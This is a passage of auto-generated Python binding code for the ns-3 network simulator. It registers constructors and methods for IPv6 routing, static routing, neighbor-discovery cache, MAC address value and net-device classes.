## ipv6-routing-protocol.h (module 'internet'): void ns3::Ipv6RoutingProtocol::NotifyRemoveAddress(uint32_t interface, ns3::Ipv6InterfaceAddress address) [member function]
cls.add_method('NotifyRemoveAddress',
'void',
[param('uint32_t', 'interface'), param('ns3::Ipv6InterfaceAddress', 'address')],
is_pure_virtual=True, is_virtual=True)
## ipv6-routing-protocol.h (module 'internet'): void ns3::Ipv6RoutingProtocol::NotifyRemoveRoute(ns3::Ipv6Address dst, ns3::Ipv6Prefix mask, ns3::Ipv6Address nextHop, uint32_t interface, ns3::Ipv6Address prefixToUse=ns3::Ipv6Address::GetZero( )) [member function]
cls.add_method('NotifyRemoveRoute',
'void',
[param('ns3::Ipv6Address', 'dst'), param('ns3::Ipv6Prefix', 'mask'), param('ns3::Ipv6Address', 'nextHop'), param('uint32_t', 'interface'), param('ns3::Ipv6Address', 'prefixToUse', default_value='ns3::Ipv6Address::GetZero( )')],
is_pure_virtual=True, is_virtual=True)
## ipv6-routing-protocol.h (module 'internet'): bool ns3::Ipv6RoutingProtocol::RouteInput(ns3::Ptr<const ns3::Packet> p, ns3::Ipv6Header const & header, ns3::Ptr<const ns3::NetDevice> idev, ns3::Callback<void,ns3::Ptr<ns3::Ipv6Route>,ns3::Ptr<const ns3::Packet>,const ns3::Ipv6Header&,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> ucb, ns3::Callback<void,ns3::Ptr<ns3::Ipv6MulticastRoute>,ns3::Ptr<const ns3::Packet>,const ns3::Ipv6Header&,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> mcb, ns3::Callback<void,ns3::Ptr<const ns3::Packet>,const ns3::Ipv6Header&,unsigned int,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> lcb, ns3::Callback<void,ns3::Ptr<const ns3::Packet>,const ns3::Ipv6Header&,ns3::Socket::SocketErrno,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> ecb) [member function]
cls.add_method('RouteInput',
'bool',
[param('ns3::Ptr< ns3::Packet const >', 'p'), param('ns3::Ipv6Header const &', 'header'), param('ns3::Ptr< ns3::NetDevice const >', 'idev'), param('ns3::Callback< void, ns3::Ptr< ns3::Ipv6Route >, ns3::Ptr< ns3::Packet const >, ns3::Ipv6Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ucb'), param('ns3::Callback< void, ns3::Ptr< ns3::Ipv6MulticastRoute >, ns3::Ptr< ns3::Packet const >, ns3::Ipv6Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'mcb'), param('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv6Header const &, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'lcb'), param('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv6Header const &, ns3::Socket::SocketErrno, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ecb')],
is_pure_virtual=True, is_virtual=True)
## ipv6-routing-protocol.h (module 'internet'): ns3::Ptr<ns3::Ipv6Route> ns3::Ipv6RoutingProtocol::RouteOutput(ns3::Ptr<ns3::Packet> p, ns3::Ipv6Header const & header, ns3::Ptr<ns3::NetDevice> oif, ns3::Socket::SocketErrno & sockerr) [member function]
cls.add_method('RouteOutput',
'ns3::Ptr< ns3::Ipv6Route >',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('ns3::Ipv6Header const &', 'header'), param('ns3::Ptr< ns3::NetDevice >', 'oif'), param('ns3::Socket::SocketErrno &', 'sockerr')],
is_pure_virtual=True, is_virtual=True)
## ipv6-routing-protocol.h (module 'internet'): void ns3::Ipv6RoutingProtocol::SetIpv6(ns3::Ptr<ns3::Ipv6> ipv6) [member function]
cls.add_method('SetIpv6',
'void',
[param('ns3::Ptr< ns3::Ipv6 >', 'ipv6')],
is_pure_virtual=True, is_virtual=True)
return
def register_Ns3Ipv6StaticRouting_methods(root_module, cls):
## ipv6-static-routing.h (module 'internet'): ns3::Ipv6StaticRouting::Ipv6StaticRouting(ns3::Ipv6StaticRouting const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6StaticRouting const &', 'arg0')])
## ipv6-static-routing.h (module 'internet'): ns3::Ipv6StaticRouting::Ipv6StaticRouting() [constructor]
cls.add_constructor([])
## ipv6-static-routing.h (module 'internet'): void ns3::Ipv6StaticRouting::AddHostRouteTo(ns3::Ipv6Address dest, ns3::Ipv6Address nextHop, uint32_t interface, ns3::Ipv6Address prefixToUse=ns3::Ipv6Address(((const char*)"::")), uint32_t metric=0) [member function]
cls.add_method('AddHostRouteTo',
'void',
[param('ns3::Ipv6Address', 'dest'), param('ns3::Ipv6Address', 'nextHop'), param('uint32_t', 'interface'), param('ns3::Ipv6Address', 'prefixToUse', default_value='ns3::Ipv6Address(((const char*)"::"))'), param('uint32_t', 'metric', default_value='0')])
## ipv6-static-routing.h (module 'internet'): void ns3::Ipv6StaticRouting::AddHostRouteTo(ns3::Ipv6Address dest, uint32_t interface, uint32_t metric=0) [member function]
cls.add_method('AddHostRouteTo',
'void',
[param('ns3::Ipv6Address', 'dest'), param('uint32_t', 'interface'), param('uint32_t', 'metric', default_value='0')])
## ipv6-static-routing.h (module 'internet'): void ns3::Ipv6StaticRouting::AddMulticastRoute(ns3::Ipv6Address origin, ns3::Ipv6Address group, uint32_t inputInterface, std::vector<unsigned int, std::allocator<unsigned int> > outputInterfaces) [member function]
cls.add_method('AddMulticastRoute',
'void',
[param('ns3::Ipv6Address', 'origin'), param('ns3::Ipv6Address', 'group'), param('uint32_t', 'inputInterface'), param('std::vector< unsigned int >', 'outputInterfaces')])
## ipv6-static-routing.h (module 'internet'): void ns3::Ipv6StaticRouting::AddNetworkRouteTo(ns3::Ipv6Address network, ns3::Ipv6Prefix networkPrefix, ns3::Ipv6Address nextHop, uint32_t interface, uint32_t metric=0) [member function]
cls.add_method('AddNetworkRouteTo',
'void',
[param('ns3::Ipv6Address', 'network'), param('ns3::Ipv6Prefix', 'networkPrefix'), param('ns3::Ipv6Address', 'nextHop'), param('uint32_t', 'interface'), param('uint32_t', 'metric', default_value='0')])
## ipv6-static-routing.h (module 'internet'): void ns3::Ipv6StaticRouting::AddNetworkRouteTo(ns3::Ipv6Address network, ns3::Ipv6Prefix networkPrefix, ns3::Ipv6Address nextHop, uint32_t interface, ns3::Ipv6Address prefixToUse, uint32_t metric=0) [member function]
cls.add_method('AddNetworkRouteTo',
'void',
[param('ns3::Ipv6Address', 'network'), param('ns3::Ipv6Prefix', 'networkPrefix'), param('ns3::Ipv6Address', 'nextHop'), param('uint32_t', 'interface'), param('ns3::Ipv6Address', 'prefixToUse'), param('uint32_t', 'metric', default_value='0')])
## ipv6-static-routing.h (module 'internet'): void ns3::Ipv6StaticRouting::AddNetworkRouteTo(ns3::Ipv6Address network, ns3::Ipv6Prefix networkPrefix, uint32_t interface, uint32_t metric=0) [member function]
cls.add_method('AddNetworkRouteTo',
'void',
[param('ns3::Ipv6Address', 'network'), param('ns3::Ipv6Prefix', 'networkPrefix'), param('uint32_t', 'interface'), param('uint32_t', 'metric', default_value='0')])
## ipv6-static-routing.h (module 'internet'): ns3::Ipv6RoutingTableEntry ns3::Ipv6StaticRouting::GetDefaultRoute() [member function]
cls.add_method('GetDefaultRoute',
'ns3::Ipv6RoutingTableEntry',
[])
## ipv6-static-routing.h (module 'internet'): uint32_t ns3::Ipv6StaticRouting::GetMetric(uint32_t index) [member function]
cls.add_method('GetMetric',
'uint32_t',
[param('uint32_t', 'index')])
## ipv6-static-routing.h (module 'internet'): ns3::Ipv6MulticastRoutingTableEntry ns3::Ipv6StaticRouting::GetMulticastRoute(uint32_t i) const [member function]
cls.add_method('GetMulticastRoute',
'ns3::Ipv6MulticastRoutingTableEntry',
[param('uint32_t', 'i')],
is_const=True)
## ipv6-static-routing.h (module 'internet'): uint32_t ns3::Ipv6StaticRouting::GetNMulticastRoutes() const [member function]
cls.add_method('GetNMulticastRoutes',
'uint32_t',
[],
is_const=True)
## ipv6-static-routing.h (module 'internet'): uint32_t ns3::Ipv6StaticRouting::GetNRoutes() [member function]
cls.add_method('GetNRoutes',
'uint32_t',
[])
## ipv6-static-routing.h (module 'internet'): ns3::Ipv6RoutingTableEntry ns3::Ipv6StaticRouting::GetRoute(uint32_t i) [member function]
cls.add_method('GetRoute',
'ns3::Ipv6RoutingTableEntry',
[param('uint32_t', 'i')])
## ipv6-static-routing.h (module 'internet'): static ns3::TypeId ns3::Ipv6StaticRouting::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6-static-routing.h (module 'internet'): bool ns3::Ipv6StaticRouting::HasNetworkDest(ns3::Ipv6Address dest, uint32_t interfaceIndex) [member function]
cls.add_method('HasNetworkDest',
'bool',
[param('ns3::Ipv6Address', 'dest'), param('uint32_t', 'interfaceIndex')])
## ipv6-static-routing.h (module 'internet'): void ns3::Ipv6StaticRouting::NotifyAddAddress(uint32_t interface, ns3::Ipv6InterfaceAddress address) [member function]
cls.add_method('NotifyAddAddress',
'void',
[param('uint32_t', 'interface'), param('ns3::Ipv6InterfaceAddress', 'address')],
is_virtual=True)
## ipv6-static-routing.h (module 'internet'): void ns3::Ipv6StaticRouting::NotifyAddRoute(ns3::Ipv6Address dst, ns3::Ipv6Prefix mask, ns3::Ipv6Address nextHop, uint32_t interface, ns3::Ipv6Address prefixToUse=ns3::Ipv6Address::GetZero( )) [member function]
cls.add_method('NotifyAddRoute',
'void',
[param('ns3::Ipv6Address', 'dst'), param('ns3::Ipv6Prefix', 'mask'), param('ns3::Ipv6Address', 'nextHop'), param('uint32_t', 'interface'), param('ns3::Ipv6Address', 'prefixToUse', default_value='ns3::Ipv6Address::GetZero( )')],
is_virtual=True)
## ipv6-static-routing.h (module 'internet'): void ns3::Ipv6StaticRouting::NotifyInterfaceDown(uint32_t interface) [member function]
cls.add_method('NotifyInterfaceDown',
'void',
[param('uint32_t', 'interface')],
is_virtual=True)
## ipv6-static-routing.h (module 'internet'): void ns3::Ipv6StaticRouting::NotifyInterfaceUp(uint32_t interface) [member function]
cls.add_method('NotifyInterfaceUp',
'void',
[param('uint32_t', 'interface')],
is_virtual=True)
## ipv6-static-routing.h (module 'internet'): void ns3::Ipv6StaticRouting::NotifyRemoveAddress(uint32_t interface, ns3::Ipv6InterfaceAddress address) [member function]
cls.add_method('NotifyRemoveAddress',
'void',
[param('uint32_t', 'interface'), param('ns3::Ipv6InterfaceAddress', 'address')],
is_virtual=True)
## ipv6-static-routing.h (module 'internet'): void ns3::Ipv6StaticRouting::NotifyRemoveRoute(ns3::Ipv6Address dst, ns3::Ipv6Prefix mask, ns3::Ipv6Address nextHop, uint32_t interface, ns3::Ipv6Address prefixToUse=ns3::Ipv6Address::GetZero( )) [member function]
cls.add_method('NotifyRemoveRoute',
'void',
[param('ns3::Ipv6Address', 'dst'), param('ns3::Ipv6Prefix', 'mask'), param('ns3::Ipv6Address', 'nextHop'), param('uint32_t', 'interface'), param('ns3::Ipv6Address', 'prefixToUse', default_value='ns3::Ipv6Address::GetZero( )')],
is_virtual=True)
## ipv6-static-routing.h (module 'internet'): bool ns3::Ipv6StaticRouting::RemoveMulticastRoute(ns3::Ipv6Address origin, ns3::Ipv6Address group, uint32_t inputInterface) [member function]
cls.add_method('RemoveMulticastRoute',
'bool',
[param('ns3::Ipv6Address', 'origin'), param('ns3::Ipv6Address', 'group'), param('uint32_t', 'inputInterface')])
## ipv6-static-routing.h (module 'internet'): void ns3::Ipv6StaticRouting::RemoveMulticastRoute(uint32_t i) [member function]
cls.add_method('RemoveMulticastRoute',
'void',
[param('uint32_t', 'i')])
## ipv6-static-routing.h (module 'internet'): void ns3::Ipv6StaticRouting::RemoveRoute(uint32_t i) [member function]
cls.add_method('RemoveRoute',
'void',
[param('uint32_t', 'i')])
## ipv6-static-routing.h (module 'internet'): void ns3::Ipv6StaticRouting::RemoveRoute(ns3::Ipv6Address network, ns3::Ipv6Prefix prefix, uint32_t ifIndex, ns3::Ipv6Address prefixToUse) [member function]
cls.add_method('RemoveRoute',
'void',
[param('ns3::Ipv6Address', 'network'), param('ns3::Ipv6Prefix', 'prefix'), param('uint32_t', 'ifIndex'), param('ns3::Ipv6Address', 'prefixToUse')])
## ipv6-static-routing.h (module 'internet'): bool ns3::Ipv6StaticRouting::RouteInput(ns3::Ptr<const ns3::Packet> p, ns3::Ipv6Header const & header, ns3::Ptr<const ns3::NetDevice> idev, ns3::Callback<void,ns3::Ptr<ns3::Ipv6Route>,ns3::Ptr<const ns3::Packet>,const ns3::Ipv6Header&,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> ucb, ns3::Callback<void,ns3::Ptr<ns3::Ipv6MulticastRoute>,ns3::Ptr<const ns3::Packet>,const ns3::Ipv6Header&,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> mcb, ns3::Callback<void,ns3::Ptr<const ns3::Packet>,const ns3::Ipv6Header&,unsigned int,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> lcb, ns3::Callback<void,ns3::Ptr<const ns3::Packet>,const ns3::Ipv6Header&,ns3::Socket::SocketErrno,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> ecb) [member function]
cls.add_method('RouteInput',
'bool',
[param('ns3::Ptr< ns3::Packet const >', 'p'), param('ns3::Ipv6Header const &', 'header'), param('ns3::Ptr< ns3::NetDevice const >', 'idev'), param('ns3::Callback< void, ns3::Ptr< ns3::Ipv6Route >, ns3::Ptr< ns3::Packet const >, ns3::Ipv6Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ucb'), param('ns3::Callback< void, ns3::Ptr< ns3::Ipv6MulticastRoute >, ns3::Ptr< ns3::Packet const >, ns3::Ipv6Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'mcb'), param('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv6Header const &, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'lcb'), param('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv6Header const &, ns3::Socket::SocketErrno, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ecb')],
is_virtual=True)
## ipv6-static-routing.h (module 'internet'): ns3::Ptr<ns3::Ipv6Route> ns3::Ipv6StaticRouting::RouteOutput(ns3::Ptr<ns3::Packet> p, ns3::Ipv6Header const & header, ns3::Ptr<ns3::NetDevice> oif, ns3::Socket::SocketErrno & sockerr) [member function]
cls.add_method('RouteOutput',
'ns3::Ptr< ns3::Ipv6Route >',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('ns3::Ipv6Header const &', 'header'), param('ns3::Ptr< ns3::NetDevice >', 'oif'), param('ns3::Socket::SocketErrno &', 'sockerr')],
is_virtual=True)
## ipv6-static-routing.h (module 'internet'): void ns3::Ipv6StaticRouting::SetDefaultMulticastRoute(uint32_t outputInterface) [member function]
cls.add_method('SetDefaultMulticastRoute',
'void',
[param('uint32_t', 'outputInterface')])
## ipv6-static-routing.h (module 'internet'): void ns3::Ipv6StaticRouting::SetDefaultRoute(ns3::Ipv6Address nextHop, uint32_t interface, ns3::Ipv6Address prefixToUse=ns3::Ipv6Address(((const char*)"::")), uint32_t metric=0) [member function]
cls.add_method('SetDefaultRoute',
'void',
[param('ns3::Ipv6Address', 'nextHop'), param('uint32_t', 'interface'), param('ns3::Ipv6Address', 'prefixToUse', default_value='ns3::Ipv6Address(((const char*)"::"))'), param('uint32_t', 'metric', default_value='0')])
## ipv6-static-routing.h (module 'internet'): void ns3::Ipv6StaticRouting::SetIpv6(ns3::Ptr<ns3::Ipv6> ipv6) [member function]
cls.add_method('SetIpv6',
'void',
[param('ns3::Ptr< ns3::Ipv6 >', 'ipv6')],
is_virtual=True)
## ipv6-static-routing.h (module 'internet'): void ns3::Ipv6StaticRouting::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3Mac48AddressChecker_methods(root_module, cls):
## mac48-address.h (module 'network'): ns3::Mac48AddressChecker::Mac48AddressChecker() [constructor]
cls.add_constructor([])
## mac48-address.h (module 'network'): ns3::Mac48AddressChecker::Mac48AddressChecker(ns3::Mac48AddressChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Mac48AddressChecker const &', 'arg0')])
return
def register_Ns3Mac48AddressValue_methods(root_module, cls):
## mac48-address.h (module 'network'): ns3::Mac48AddressValue::Mac48AddressValue() [constructor]
cls.add_constructor([])
## mac48-address.h (module 'network'): ns3::Mac48AddressValue::Mac48AddressValue(ns3::Mac48AddressValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Mac48AddressValue const &', 'arg0')])
## mac48-address.h (module 'network'): ns3::Mac48AddressValue::Mac48AddressValue(ns3::Mac48Address const & value) [constructor]
cls.add_constructor([param('ns3::Mac48Address const &', 'value')])
## mac48-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Mac48AddressValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## mac48-address.h (module 'network'): bool ns3::Mac48AddressValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## mac48-address.h (module 'network'): ns3::Mac48Address ns3::Mac48AddressValue::Get() const [member function]
cls.add_method('Get',
'ns3::Mac48Address',
[],
is_const=True)
## mac48-address.h (module 'network'): std::string ns3::Mac48AddressValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## mac48-address.h (module 'network'): void ns3::Mac48AddressValue::Set(ns3::Mac48Address const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::Mac48Address const &', 'value')])
return
def register_Ns3NdiscCache_methods(root_module, cls):
## ndisc-cache.h (module 'internet'): ns3::NdiscCache::NdiscCache() [constructor]
cls.add_constructor([])
## ndisc-cache.h (module 'internet'): ns3::NdiscCache::Entry * ns3::NdiscCache::Add(ns3::Ipv6Address to) [member function]
cls.add_method('Add',
'ns3::NdiscCache::Entry *',
[param('ns3::Ipv6Address', 'to')])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Flush() [member function]
cls.add_method('Flush',
'void',
[])
## ndisc-cache.h (module 'internet'): ns3::Ptr<ns3::NetDevice> ns3::NdiscCache::GetDevice() const [member function]
cls.add_method('GetDevice',
'ns3::Ptr< ns3::NetDevice >',
[],
is_const=True)
## ndisc-cache.h (module 'internet'): ns3::Ptr<ns3::Ipv6Interface> ns3::NdiscCache::GetInterface() const [member function]
cls.add_method('GetInterface',
'ns3::Ptr< ns3::Ipv6Interface >',
[],
is_const=True)
## ndisc-cache.h (module 'internet'): static ns3::TypeId ns3::NdiscCache::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ndisc-cache.h (module 'internet'): uint32_t ns3::NdiscCache::GetUnresQlen() [member function]
cls.add_method('GetUnresQlen',
'uint32_t',
[])
## ndisc-cache.h (module 'internet'): ns3::NdiscCache::Entry * ns3::NdiscCache::Lookup(ns3::Ipv6Address dst) [member function]
cls.add_method('Lookup',
'ns3::NdiscCache::Entry *',
[param('ns3::Ipv6Address', 'dst')])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Remove(ns3::NdiscCache::Entry * entry) [member function]
cls.add_method('Remove',
'void',
[param('ns3::NdiscCache::Entry *', 'entry')])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::SetDevice(ns3::Ptr<ns3::NetDevice> device, ns3::Ptr<ns3::Ipv6Interface> interface) [member function]
cls.add_method('SetDevice',
'void',
[param('ns3::Ptr< ns3::NetDevice >', 'device'), param('ns3::Ptr< ns3::Ipv6Interface >', 'interface')])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::SetUnresQlen(uint32_t unresQlen) [member function]
cls.add_method('SetUnresQlen',
'void',
[param('uint32_t', 'unresQlen')])
## ndisc-cache.h (module 'internet'): ns3::NdiscCache::DEFAULT_UNRES_QLEN [variable]
cls.add_static_attribute('DEFAULT_UNRES_QLEN', 'uint32_t const', is_const=True)
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3NdiscCacheEntry_methods(root_module, cls):
## ndisc-cache.h (module 'internet'): ns3::NdiscCache::Entry::Entry(ns3::NdiscCache::Entry const & arg0) [copy constructor]
cls.add_constructor([param('ns3::NdiscCache::Entry const &', 'arg0')])
## ndisc-cache.h (module 'internet'): ns3::NdiscCache::Entry::Entry(ns3::NdiscCache * nd) [constructor]
cls.add_constructor([param('ns3::NdiscCache *', 'nd')])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::AddWaitingPacket(ns3::Ptr<ns3::Packet> p) [member function]
cls.add_method('AddWaitingPacket',
'void',
[param('ns3::Ptr< ns3::Packet >', 'p')])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::ClearWaitingPacket() [member function]
cls.add_method('ClearWaitingPacket',
'void',
[])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::FunctionDelayTimeout() [member function]
cls.add_method('FunctionDelayTimeout',
'void',
[])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::FunctionProbeTimeout() [member function]
cls.add_method('FunctionProbeTimeout',
'void',
[])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::FunctionReachableTimeout() [member function]
cls.add_method('FunctionReachableTimeout',
'void',
[])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::FunctionRetransmitTimeout() [member function]
cls.add_method('FunctionRetransmitTimeout',
'void',
[])
## ndisc-cache.h (module 'internet'): ns3::Time ns3::NdiscCache::Entry::GetLastReachabilityConfirmation() const [member function]
cls.add_method('GetLastReachabilityConfirmation',
'ns3::Time',
[],
is_const=True)
## ndisc-cache.h (module 'internet'): ns3::Address ns3::NdiscCache::Entry::GetMacAddress() const [member function]
cls.add_method('GetMacAddress',
'ns3::Address',
[],
is_const=True)
## ndisc-cache.h (module 'internet'): uint8_t ns3::NdiscCache::Entry::GetNSRetransmit() const [member function]
cls.add_method('GetNSRetransmit',
'uint8_t',
[],
is_const=True)
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::IncNSRetransmit() [member function]
cls.add_method('IncNSRetransmit',
'void',
[])
## ndisc-cache.h (module 'internet'): bool ns3::NdiscCache::Entry::IsDelay() const [member function]
cls.add_method('IsDelay',
'bool',
[],
is_const=True)
## ndisc-cache.h (module 'internet'): bool ns3::NdiscCache::Entry::IsIncomplete() const [member function]
cls.add_method('IsIncomplete',
'bool',
[],
is_const=True)
## ndisc-cache.h (module 'internet'): bool ns3::NdiscCache::Entry::IsProbe() const [member function]
cls.add_method('IsProbe',
'bool',
[],
is_const=True)
## ndisc-cache.h (module 'internet'): bool ns3::NdiscCache::Entry::IsReachable() const [member function]
cls.add_method('IsReachable',
'bool',
[],
is_const=True)
## ndisc-cache.h (module 'internet'): bool ns3::NdiscCache::Entry::IsRouter() const [member function]
cls.add_method('IsRouter',
'bool',
[],
is_const=True)
## ndisc-cache.h (module 'internet'): bool ns3::NdiscCache::Entry::IsStale() const [member function]
cls.add_method('IsStale',
'bool',
[],
is_const=True)
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::MarkDelay() [member function]
cls.add_method('MarkDelay',
'void',
[])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::MarkIncomplete(ns3::Ptr<ns3::Packet> p) [member function]
cls.add_method('MarkIncomplete',
'void',
[param('ns3::Ptr< ns3::Packet >', 'p')])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::MarkProbe() [member function]
cls.add_method('MarkProbe',
'void',
[])
## ndisc-cache.h (module 'internet'): std::list<ns3::Ptr<ns3::Packet>, std::allocator<ns3::Ptr<ns3::Packet> > > ns3::NdiscCache::Entry::MarkReachable(ns3::Address mac) [member function]
cls.add_method('MarkReachable',
'std::list< ns3::Ptr< ns3::Packet > >',
[param('ns3::Address', 'mac')])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::MarkReachable() [member function]
cls.add_method('MarkReachable',
'void',
[])
## ndisc-cache.h (module 'internet'): std::list<ns3::Ptr<ns3::Packet>, std::allocator<ns3::Ptr<ns3::Packet> > > ns3::NdiscCache::Entry::MarkStale(ns3::Address mac) [member function]
cls.add_method('MarkStale',
'std::list< ns3::Ptr< ns3::Packet > >',
[param('ns3::Address', 'mac')])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::MarkStale() [member function]
cls.add_method('MarkStale',
'void',
[])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::ResetNSRetransmit() [member function]
cls.add_method('ResetNSRetransmit',
'void',
[])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::SetIpv6Address(ns3::Ipv6Address ipv6Address) [member function]
cls.add_method('SetIpv6Address',
'void',
[param('ns3::Ipv6Address', 'ipv6Address')])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::SetMacAddress(ns3::Address mac) [member function]
cls.add_method('SetMacAddress',
'void',
[param('ns3::Address', 'mac')])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::SetRouter(bool router) [member function]
cls.add_method('SetRouter',
'void',
[param('bool', 'router')])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::StartDelayTimer() [member function]
cls.add_method('StartDelayTimer',
'void',
[])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::StartProbeTimer() [member function]
cls.add_method('StartProbeTimer',
'void',
[])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::StartReachableTimer() [member function]
cls.add_method('StartReachableTimer',
'void',
[])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::StartRetransmitTimer() [member function]
cls.add_method('StartRetransmitTimer',
'void',
[])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::StopDelayTimer() [member function]
cls.add_method('StopDelayTimer',
'void',
[])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::StopProbeTimer() [member function]
cls.add_method('StopProbeTimer',
'void',
[])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::StopReachableTimer() [member function]
cls.add_method('StopReachableTimer',
'void',
[])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::StopRetransmitTimer() [member function]
cls.add_method('StopRetransmitTimer',
'void',
[])
## ndisc-cache.h (module 'internet'): void ns3::NdiscCache::Entry::UpdateLastReachabilityconfirmation() [member function]
cls.add_method('UpdateLastReachabilityconfirmation',
'void',
[])
return
def register_Ns3NetDevice_methods(root_module, cls):
## net-device.h (module 'network'): ns3::NetDevice::NetDevice() [constructor]
cls.add_constructor([])
## net-device.h (module 'network'): ns3::NetDevice::NetDevice(ns3::NetDevice const & arg0) [copy constructor]
cls.add_constructor([param('ns3::NetDevice const &', 'arg0')])
## net-device.h (module 'network'): void ns3::NetDevice::AddLinkChangeCallback(ns3::Callback<void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> callback) [member function]
cls.add_method('AddLinkChangeCallback',
'void',
[param('ns3::Callback< void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'callback')],
is_pure_virtual=True, is_virtual=True)
## net-device.h (module 'network'): ns3::Address ns3::NetDevice::GetAddress() const [member function]
cls.add_method('GetAddress',
'ns3::Address',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): ns3::Address ns3::NetDevice::GetBroadcast() const [member function]
cls.add_method('GetBroadcast',
'ns3::Address',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): ns3::Ptr<ns3::Channel> ns3::NetDevice::GetChannel() const [member function]
cls.add_method('GetChannel',
'ns3::Ptr< ns3::Channel >',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): uint32_t ns3::NetDevice::GetIfIndex() const [member function]
cls.add_method('GetIfIndex',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): uint16_t ns3::NetDevice::GetMtu() const [member function]
cls.add_method('GetMtu',
'uint16_t',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): ns3::Address ns3::NetDevice::GetMulticast(ns3::Ipv4Address multicastGroup) const [member function]
cls.add_method('GetMulticast',
'ns3::Address',
[param('ns3::Ipv4Address', 'multicastGroup')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): ns3::Address ns3::NetDevice::GetMulticast(ns3::Ipv6Address addr) const [member function]
cls.add_method('GetMulticast',
'ns3::Address',
[param('ns3::Ipv6Address', 'addr')],
